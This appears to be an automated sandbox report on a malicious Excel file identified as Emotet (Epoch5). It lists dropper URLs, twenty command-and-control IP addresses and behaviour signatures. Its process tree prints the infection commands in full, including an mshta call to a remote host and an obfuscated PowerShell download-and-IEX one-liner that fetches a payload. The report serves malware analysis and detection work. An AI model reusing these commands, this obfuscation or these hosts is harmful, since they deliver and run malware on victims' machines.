Analysis

  • max time kernel
    159s
  • max time network
    172s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    28/01/2022, 15:19

General

  • Target
    tmpftti3fdi.xls
  • Size 90KB
  • Sample220128-sp8eqsfdhm
  • SHA256 df1f6f8990157fe6992bc37f6da33a9ebef6189a40098a5000cba75df3bf8e93
  • MD5 SHA1 SHA512

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    http://91.240.118.172/ee/ss/se.html

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://91.240.118.172/ee/ss/se.png

Extracted

Family
  • emotet

Botnet
  • Epoch5

C2
  • 159.69.43.124:8080

  • 45.79.80.198:443

  • 207.148.81.119:8080

  • 128.199.192.135:8080

  • 118.98.72.86:443

  • 217.182.143.207:443

  • 168.197.250.14:80

  • 116.124.128.206:8080

  • 78.46.73.125:443

  • 185.148.168.15:8080

  • 195.154.146.35:443

  • 85.214.67.203:8080

  • 194.9.172.107:8080

  • 59.148.253.194:443

  • 210.57.209.142:8080

  • 54.38.242.185:443

  • 195.77.239.39:8080

  • 159.69.237.188:443

  • 104.131.62.48:8080

  • 62.171.178.147:8080

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 4 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 32 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 52 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\tmpftti3fdi.xls
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:832
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c set ooo=mshta http://91.240.118.172/ee/ss/se.html & echo %ooo% | cmd
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:576
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /S /D /c" echo %ooo% "
        3⤵
          PID:980
        • C:\Windows\SysWOW64\cmd.exe
          cmd
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1904
          • C:\Windows\SysWOW64\mshta.exe
            mshta http://91.240.118.172/ee/ss/se.html
            4⤵
            • Blocklisted process makes network request
            • Modifies Internet Explorer settings
            • Suspicious use of WriteProcessMemory
            PID:620
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FutuReD}{FutuReD}Ne{FutuReD}{FutuReD}w{FutuReD}-Obj{FutuReD}ec{FutuReD}{FutuReD}t N{FutuReD}{FutuReD}et{FutuReD}.W{FutuReD}{FutuReD}e'.replace('{FutuReD}', ''); $c4='bC{FutuReD}li{FutuReD}{FutuReD}en{FutuReD}{FutuReD}t).D{FutuReD}{FutuReD}ow{FutuReD}{FutuReD}nl{FutuReD}{FutuReD}{FutuReD}o'.replace('{FutuReD}', ''); $c3='ad{FutuReD}{FutuReD}St{FutuReD}rin{FutuReD}{FutuReD}g{FutuReD}(''ht{FutuReD}tp{FutuReD}://91.240.118.172/ee/ss/se.png'')'.replace('{FutuReD}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
              5⤵
              • Blocklisted process makes network request
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:1696
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\Milossd.dll KitKat
                6⤵
                • Suspicious use of WriteProcessMemory
                PID:528
                • C:\Windows\SysWow64\rundll32.exe
                  C:\Windows\SysWow64\rundll32.exe C:\ProgramData\Milossd.dll KitKat
                  7⤵
                  • Loads dropped DLL
                  • Suspicious use of WriteProcessMemory
                  PID:1900
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\Milossd.dll",DllRegisterServer
                    8⤵
                    • Loads dropped DLL
                    • Drops file in System32 directory
                    • Suspicious use of WriteProcessMemory
                    PID:2044
                    • C:\Windows\SysWOW64\rundll32.exe
                      C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Xvdpq\ukgvcubqvxjfju.jnu",WNfaCzvb
                      9⤵
                      • Suspicious use of WriteProcessMemory
                      PID:1924
                      • C:\Windows\SysWOW64\rundll32.exe
                        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Xvdpq\ukgvcubqvxjfju.jnu",DllRegisterServer
                        10⤵
                        • Blocklisted process makes network request
                        • Suspicious behavior: EnumeratesProcesses
                        PID:1212

    Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          memory/832-67-0x000000005FFF0000-0x0000000060000000-memory.dmp

          memory/832-59-0x000000006CD71000-0x000000006CD73000-memory.dmp

          memory/832-55-0x000000002F191000-0x000000002F194000-memory.dmp

          memory/832-56-0x0000000071891000-0x0000000071893000-memory.dmp

          memory/832-57-0x000000005FFF0000-0x0000000060000000-memory.dmp

          memory/832-58-0x00000000763F1000-0x00000000763F3000-memory.dmp

          memory/1212-107-0x0000000002560000-0x0000000002587000-memory.dmp

          memory/1212-117-0x0000000002B10000-0x0000000002B37000-memory.dmp

          memory/1212-115-0x0000000002A70000-0x0000000002A97000-memory.dmp

          memory/1212-113-0x0000000002960000-0x0000000002987000-memory.dmp

          memory/1212-111-0x0000000002620000-0x0000000002647000-memory.dmp

          memory/1212-109-0x00000000025C0000-0x00000000025E7000-memory.dmp

          memory/1212-99-0x0000000000700000-0x0000000000727000-memory.dmp

          memory/1212-103-0x0000000000F90000-0x0000000000FB7000-memory.dmp

          memory/1212-105-0x0000000002460000-0x0000000002487000-memory.dmp

          memory/1696-66-0x0000000000280000-0x00000000002C0000-memory.dmp

          memory/1696-64-0x0000000000280000-0x00000000002C0000-memory.dmp

          memory/1696-65-0x0000000000280000-0x00000000002C0000-memory.dmp

          memory/1900-74-0x00000000002A0000-0x00000000002C7000-memory.dmp

          memory/1924-96-0x00000000001C0000-0x00000000001E7000-memory.dmp

          memory/2044-89-0x0000000000F40000-0x0000000000F67000-memory.dmp

          memory/2044-87-0x00000000009E0000-0x0000000000A07000-memory.dmp

          memory/2044-85-0x0000000000980000-0x00000000009A7000-memory.dmp

          memory/2044-83-0x00000000008B0000-0x00000000008D7000-memory.dmp

          memory/2044-81-0x00000000001E0000-0x0000000000207000-memory.dmp